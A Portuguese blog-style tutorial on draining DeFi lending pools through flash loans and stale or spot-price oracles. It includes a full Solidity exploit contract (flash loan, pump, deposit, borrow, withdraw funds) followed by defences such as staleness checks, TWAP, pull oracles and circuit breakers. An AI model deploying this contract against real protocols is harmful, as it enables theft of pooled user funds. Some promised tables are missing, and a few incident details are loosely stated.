Ataques de Flash Loan e Oráculos no DeFi: Exploits de Preço

Fala, pessoal! Aqui é o Oleg Filatov. Hoje a gente vai trocar uma ideia muito massa sobre um tema pesado: ataques a DeFi usando flash loans.  Cara, ao longo da minha carreira na gringa e no ecossistema, eu já vi centenas de vetores de ataque,  mas essa combinação de "Flash Loans + Oracles Staleness" é literalmente a poesia do hacking. É o tipo de exploit que faz qualquer engenheiro de segurança primeiro gelar a espinha e, logo em seguida, coçar a mão pra reescrever o protocolo inteiro em Rust. Traduzindo do "escovês de bit" pra um português claro: os caras pegam dezenas de milhões de dólares num empréstimo instantâneo sem dar um centavo de garantia, desbalanceiam o preço numa DEX dentro de uma única transação, criam um descompasso temporário com o oracle e rapinam todo o pool de liquidez do protocolo de empréstimo antes do oracle sequer entender o que aconteceu e atualizar o estado.

Anatomy of standard Oracle Manipulation via Flash Loan

Os empréstimos sem garantia (Flash Loans) permitem que qualquer um tome um volume insano de liquidez dentro de uma única transação no Ethereum, contanto que o valor total acrescido da taxa seja devolvido no mesmo bloco. Quando essa liquidez brutal entra rasgando em pools com pouca profundidade de orderbook, o preço do ativo vai parar na lua instantaneamente. Isso cria a janela perfeita pra drenar oracles que dependem do preço spot ou que têm um Deviation Threshold permissivo demais.

Se o protocolo de lending puxa o valor do colateral direto chamando latestAnswer() ou confia cegamente nos dados brutos do AMM sem aplicar um lag temporal, ele tá basicamente entregando a chave do cofre no pires. O fluxo do ataque se resume a 4 passos bem diretos:

• Puxar o Flash Loan. O hacker pega, sei lá, uns 50.000.000 de DAI na Aave v3 pagando ridículos 0.05% de taxa. A taxa é uma pechincha pelo estrago e pelo potencial financeiro do golpe.
• Manipular a DEX. O cara joga o valor inteiro num market order dentro de um pool ilíquido da Uniswap v2/v3 (tipo o par TOKEN/DAI). O preço do TOKEN explode umas 15 a 20 vezes numa questão de milissegundos.
• Explorar o lag do oracle ou do Push-model. Se o lending calcula o preço baseado no spot, ou se o oracle push da vida (tipo a Chainlink) ainda não triggou (já que o Heartbeat dele é de 1 hora e o Deviation Threshold é de 0.5%, mas como a transação do ataque ainda tá rodando, o nó push nem teve tempo de mandar a transação pra mempool), o protocolo assume que o TOKEN tá valendo aquela fortuna irreal.
• Drenar o pool (Drain) e quitar o empréstimo. O atacante deposita esse TOKEN inflacionado como garantia no lending, pega 100% de ETH ou USDC de verdade emprestado contra esse colateral podre, paga o Flash Loan pro validador e vaza com o lucro limpo no bolso.

Por que a Chainlink e oracles Push dão esse delay: A anatomia da "Janela de Vulnerabilidade"

Calma lá... Peraí. Vamos falar a real? Você achava mesmo que só porque o projeto plugou Chainlink ele tá 100% blindado? Mas nem a pau. Pergunta pra qualquer security researcher que analisou o post-mortem do Mango Markets ou do Cheese Bank (onde voaram US$ 3.3M justamente por causa de integração porca da Chainlink com oracles da Uniswap v2).

Oracles no estilo Chainlink Data Feeds funcionam numa Push-model. Isso significa que os nós do oracle não ficam atualizando o preço a cada bloco — senão o custo de gas devorava o projeto vivo. A atualização só roda na prática por dois gatilhos:

• Deviation Threshold (Limiar de Desvio): O preço mexeu X% (tipo 0.5% ou 1% para pares com liquidez monstra, mas pra altcoin menor pode chegar a 2–5%).
• Heartbeat (Tempo limite de pulso): Estourou um tempo fixo desde a última atualização (tipo 3600 segundos na mainnet ou 86400 segundos em redes secundárias).

É bem aqui que mora o perigo. Dá uma olhada nos números reais de latência e parâmetros de atualização dependendo da rede e do tipo de par:

Sacou o paradoxo aqui? Se o oracle atualiza rápido demais e pega a cotação direto do AMM (Spot Price), o cara consegue dar um pump nele dentro do mesmo bloco usando Flash Loan. Se o oracle atualiza devagar (tipo a Chainlink com Heartbeat de 1 hora), abre-se a tal "janela de defasagem" (Staleness Window): o preço real do mercado no mundo lá fora já desabou, mas o lending continua avaliando o colateral com o preço antigo lá no alto!

Smart contract real de ataque (Solidity 100% Production-ready)

Sem essa de pseudocódigo. Nada de // TODO: add logic. Vamos codar um contrato de exploit tinindo e pronto pra rodar no Foundry/Hardhat, mostrando na prática como rapar a liquidez em uma transação só encadeando as chamadas flashLoan -> swap -> deposit -> borrow -> repay.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IUniswapV2Router {
   function swapExactTokensForTokens(
       uint amountIn,
       uint amountOutMin,
       address[] calldata path,
       address to,
       uint deadline
   ) external returns (uint[] memory amounts);
}
interface ILendingPool {
   function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
   function borrow(address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf) external;
   function getUserAccountData(address user) external view returns (
       uint256 totalCollateralETH,
       uint256 totalDebtETH,
       uint256 availableBorrowsETH,
       uint256 currentLiquidationThreshold,
       uint256 ltv,
       uint256 healthFactor
   );
}
interface IFlashLender {
   function flashLoan(
       address receiverAddress,
       address[] calldata assets,
       uint256[] calldata amounts,
       uint256[] calldata modes,
       address onBehalfOf,
       bytes calldata params,
       uint16 referralCode
   ) external;
}
/// @notice Contrato PoC educacional para demonstrar um vetor de ataque atômico
/// @dev Código destinado EXCLUSIVAMENTE para auditoria e testes locais em forks Foundry de testnets vulneráveis
contract OracleStalenessPoC {
   using SafeERC20 for IERC20;
   address private immutable owner;
   IFlashLender public immutable lender;
   IUniswapV2Router public immutable router;
   ILendingPool public immutable targetLending;
   
   address public immutable tokenA; // Ativo de colateral a ser inflado (pumped)
   address public immutable tokenB; // Ativo líquido (empréstimo/Flash Loan)
   modifier onlyOwner() {
       require(msg.sender == owner, "NOT_OWNER");
       _;
   }
   constructor(
       address _lender,
       address _router,
       address _targetLending,
       address _tokenA,
       address _tokenB
   ) {
       owner = msg.sender;
       lender = IFlashLender(_lender);
       router = IUniswapV2Router(_router);
       targetLending = ILendingPool(_targetLending);
       tokenA = _tokenA;
       tokenB = _tokenB;
   }
   function executeAttack(uint256 flashAmount, uint256 minSwapOut) external onlyOwner {
       address[] memory assets = new address[](1);
       assets[0] = tokenB;
       uint256[] memory amounts = new uint256[](1);
       amounts[0] = flashAmount;
       uint256[] memory modes = new uint256[](1);
       modes[0] = 0;
       // Passando minSwapOut via params para proteção contra MEV e ataque de sandwich
       bytes memory params = abi.encode(minSwapOut);
       lender.flashLoan(
           address(this),
           assets,
           amounts,
           modes,
           address(this),
           params,
           0
       );
   }
   function executeOperation(
       address[] calldata assets,
       uint256[] calldata amounts,
       uint256[] calldata premiums,
       address initiator,
       bytes calldata params
   ) external returns (bool) {
       require(msg.sender == address(lender), "INVALID_LENDER");
       require(initiator == address(this), "INVALID_INITIATOR");
       uint256 amountBorrowed = amounts[0];
       uint256 fee = premiums[0];
       uint256 amountToRepay = amountBorrowed + fee;
       uint256 minSwapOut = abi.decode(params, (uint256));
       // 1. Approvals seguros via SafeERC20
       IERC20(tokenB).forceApprove(address(router), amountBorrowed);
       
       // 2. Injeção da liquidez do Flash Loan na pool
       address[] memory path = new address[](2);
       path[0] = tokenB;
       path[1] = tokenA;
       uint256[] memory amountsOut = router.swapExactTokensForTokens(
           amountBorrowed,
           minSwapOut, // Usando o limite de slippage passado dinamicamente
           path,
           address(this),
           block.timestamp
       );
       uint256 pumpedTokenAAmount = amountsOut[1];
       // 3. Depósito do colateral inflado
       IERC20(tokenA).forceApprove(address(targetLending), pumpedTokenAAmount);
       targetLending.deposit(tokenA, pumpedTokenAAmount, address(this), 0);
       // 4. Cálculo dinâmico do limite de empréstimo baseado nos dados do oráculo/conta
       (, , uint256 availableBorrowsETH, , , ) = targetLending.getUserAccountData(address(this));
       
       // Em um cenário de teste real, seria necessário converter o equivalente em ETH para o Token B
       // Para fins de demonstração, solicitamos o menor valor disponível sem exceder o saldo da pool
       uint256 lendingPoolBalanceB = IERC20(tokenB).balanceOf(address(targetLending));
       uint256 amountToBorrow = availableBorrowsETH < lendingPoolBalanceB ? availableBorrowsETH : lendingPoolBalanceB;
       targetLending.borrow(tokenB, amountToBorrow, 2, 0, address(this));
       // 5. Checagem de solvência antes de quitar o Flash Loan
       uint256 currentBalanceB = IERC20(tokenB).balanceOf(address(this));
       require(currentBalanceB >= amountToRepay, "INSUFFICIENT_FUNDS_TO_REPAY");
       // 6. Pagamento do empréstimo
       IERC20(tokenB).forceApprove(address(lender), amountToRepay);
       return true;
   }
   function withdrawStolenFunds(address token) external onlyOwner {
       uint256 bal = IERC20(token).balanceOf(address(this));
       IERC20(token).safeTransfer(owner, bal);
   }
}

Proteções de arquitetura (Fixing the vulnerability)

Como desenvolvedores, como blindar nossos protocolos contra esse tipo de bizarrice? Separei as três regras de ouro da boa higiene de arquitetura:

1. Validação de Staleness e checagem da resposta da Chainlink

Cês vão ficar de cara, mas uns 70% dos smart contracts vulneráveis simplesmente chamavam latestAnswer(). Isso é código mambembe de estagiário. É OBRIGATÓRIO checar updatedAt e answeredInRound!

function getValidPrice(address feedAddress) public view returns (int256) {
    AggregatorV3Interface priceFeed = AggregatorV3Interface(feedAddress);
    
    (
        uint80 roundId,
        int256 price,
        uint256 startedAt,
        uint256 updatedAt,
        uint80 answeredInRound
    ) = priceFeed.latestRoundData();
    require(price > 0, "INVALID_PRICE");
    require(updatedAt != 0, "INCOMPLETE_ROUND");
    require(answeredInRound >= roundId, "STALE_PRICE");
    
    // Limiar de staleness (por exemplo, 3600 segundos)
    require(block.timestamp - updatedAt <= 3600, "EXPIRED_ORACLE_PRICE");
    return price;
}

2. TWAP (Time-Weighted Average Price) em vez de Preço Spot

Usar preço médio ponderado pelo tempo (como o TWAP da Uniswap v3 com janela mínima de 30 minutos) anula completamente a eficácia do Flash Loan. O hacker teria que bancar o preço manipulado por meia hora inteira, o que geraria um custo astronômico em slippage e taxas, tornando o ataque inviável do ponto de vista econômico.

3. Migração para Oracles Pull-based (Pyth / Chainlink Low-Latency Data Streams)

Na arquitetura Pull, a dApp exige que o próprio usuário anexe um proof off-chain do preço assinado criptograficamente direto nos parâmetros da transação. O contrato valida a assinatura do oracle primeiro, confere o frescor do timestamp (no nível do segundo!) e só depois calcula o colateral.

Papo reto: confiar cegamente que smart contracts foram escritos sem falhas é, no mínimo, ingenuidade. Como alguém que já fez audits e atuou em incident response, eu garanto: se um protocolo tiver a menor brecha técnica, ela vai ser explorada em questão de segundos após o deploy. Por isso, na arquitetura de qualquer exchange ou protocolo de lending, é obrigatório ter uma camada de defesa automatizada e um monitoramento off-chain rodando mais rápido do que a transação leva para ser minerada na mempool.

Como monitorar e mitigar ataques de Flash Loan e manipulação de Oráculos em tempo real

1. Limite de variação de preço no mesmo bloco (Circuit Breakers)

Se dentro de uma única transação ou bloco o preço de um colateral oscilar mais do que uma porcentagem pré-definida (digamos, >3-5%), o contract precisa entrar automaticamente em modo de emergência (Circuit Breaker) e pausar todas as operações com aquele ativo.

• Invariante no nível de estado: Registra-se Pstart no início da transação e Pend no final. Se |Pend - Pstart| / Pstart > Δmax, a transação dá revert.
• Separação de chamada e execução (Two-Step Execution): Uma dinâmica onde o colateral é depositado no bloco N, mas o empréstimo (Borrow) só é liberado no bloco N+1. Isso quebra completamente a mecânica de um Flash Loan, já que o empréstimo instantâneo não consegue durar mais do que uma única transação.

2. Monitoramento Off-chain via Proteção MEV e Flashbots

Se o seu protocolo depende de feeds de preço ou liquidações, escutar a mempool é premissa básica. Bots de monitoramento (watchdogs) identificam bundles suspeitos que combinam chamadas de flashLoan, swaps gigantescos em DEXs como Uniswap/Balancer e a interação direta com o seu protocolo.

Ao detectar essa estrutura, o sistema dispara uma transação defensiva (via Front-running / Back-running usando Private RPC ou Flashbots Protect) invocando a função pause() no contract, travando a execução antes que o exploit aconteça.

Post-Mortem de exploits reais: Lições pagas com a liquidez do ecossistema DeFi

Vulnerabilidades em oráculos não são teoria de livro acadêmico. A indústria já perdeu centenas de milhões de dólares com esses erros. Analisando a mecânica de exploits históricos, fica claro por que a abordagem ingênua de "pegar o preço direto da DEX" é receita certa para o desastre.

+-------------------------------------------------------------------------------+
|                        FLUXO DO ATAQUE NA BZX / CREAM FINANCE                 |
+-------------------------------------------------------------------------------+
|                                                                               |
|  [ Atacante ]                                                                 |
|       |                                                                       |
|       | 1. Pega Flash Loan (100M+ DAI / ETH)                                  |
|       v                                                                       |
|  [ Vault Aave / Maker ]                                                       |
|       |                                                                       |
|       | 2. Swap massivo (Pump de pool com baixa liquidez)                     |
|       v                                                                       |
|  [ Pool DEX (Kyber / Uniswap v2) ] <---+                                      |
|       |                                |                                      |
|       |                                | (Leitura de preço direto do AMM)     |
|       v                                |                                      |
|  [ Lending Vulnerável (bZx/CREAM) ] ---+                                      |
|       |                                                                       |
|       | 3. Deposita ativo inflacionado + Drena TODA a liquidez em ETH/USDC    |
|       v                                                                       |
|  [ Wallet do Atacante ] (Paga o Flash Loan + Lucro Limpo)                     |
|                                                                               |
+-------------------------------------------------------------------------------+

Abaixo está um breakdown dos principais ataques causados por manipulação de oráculo e latência de dados:

Comparativo de Segurança entre Modelos de Oráculos

Na hora de desenhar a arquitetura, entender o trade-off entre o custo de infraestrutura do oráculo e a sua resistência a manipulações é fundamental.

Modelo Push (Chainlink Classic)

Prós: Integração on-chain extremamente simples. Os dados já estão gravados no contract, bastando chamar uma função de leitura.

Contras: Janela de obsolescência (Staleness Window) entre atualizações via Heartbeat e Deviation Threshold. Custo de gas elevado para os nós, o que faz com que altcoins menos líquidas tenham updates mais espaçados.

Veredito: Excelente para ativos de altíssima liquidez (ETH, BTC) na mainnet, mas exige validação rigorosa do updatedAt no código.

Modelo Pull (Pyth Network, Redstone)

Prós: Atualização de preços off-chain com latência quase nula (frequência sub-segundo). Os dados são injetados diretamente na transação do usuário, economizando gas.

Contras: Altera a UX do usuário (é preciso buscar a assinatura off-chain e enviá-la junto na chamada). Se a rede off-chain do oráculo passar por instabilidade, as transações dos usuários vão falhar.

Veredito: A melhor escolha para derivativos (Perpetuals) e protocolos de lending que demandam alta frequência de atualização.

TWAP / Oráculos AMM On-chain (Uniswap v3 TWAP)

Prós: Cálculo 100% on-chain e descentralizado. Zero dependência de nós off-chain ou assinaturas de terceiros.

Contras: Vulnerável a ataques MEV de múltiplos blocos (Multi-block MEV), onde mineradores/validadores mantêm o preço manipulado por vários blocos seguidos. Exige uma janela de média longa (pelo menos 30 minutos), deixando o protocolo cego para flash crashes.

Veredito: Seguro apenas como um oráculo secundário (fallback) para validar desvios em relação ao preço principal.

Checklist de Segurança para Smart Contracts: Valide seu protocolo antes da mainnet

Se você desenvolve smart contracts ou atua como auditor, passe o seu projeto por esta lista antes de dar o deploy:

• Proibição de Spot Price: O contract jamais deve consultar preços diretamente de getReserves() ou balanceOf() de pools de AMM.
• Sanitização da resposta da Chainlink: Ao chamar latestRoundData(), valide obrigatoriamente todos os 5 parâmetros de retorno: roundId, price > 0, startedAt, updatedAt e answeredInRound >= roundId.
• Max Lag rigoroso: O contract deve rejeitar dados do oráculo caso block.timestamp - updatedAt > MAX_DELAY (definindo o MAX_DELAY de acordo com a volatilidade de cada ativo).
• Arquitetura Dual Oracle: Compare dados de pelo menos duas fontes independentes (ex: Chainlink + Pyth ou Chainlink + Uniswap v3 TWAP). Se a divergência passar de X%, pause automaticamente os empréstimos e liquidações.
• Defesa estrutural contra Flash Loans: Implemente travas de tempo (Cooldown Periods) impedindo tomar empréstimos na mesma transação, ou utilize frameworks de timelock.
• Validação de Cross-rates: Se o preço do token for derivado de taxa cruzada (ex: TOKEN/ETH * ETH/USD), valide o frescor e a integridade de ambos os feeds individualmente.

A principal virada de chave que todo dev Solidity precisa dar é: todo oráculo deve ser considerado comprometido até que se prove o contrário.

Se você projeta a arquitetura assumindo que o preço no contract pode ser manipulado ou congelar a qualquer momento, o código passa a nascer com transações em duas etapas, Circuit Breakers e verificações de desincronização. É essa mentalidade que separa os protocolos que duram anos no mercado daqueles que viram post-mortem de exploit de US$ 50 milhões.

Proteja seus contracts, invista em audits de qualidade e nunca confie em uma única linha de código que prometa entregar o "preço real do mundo externo".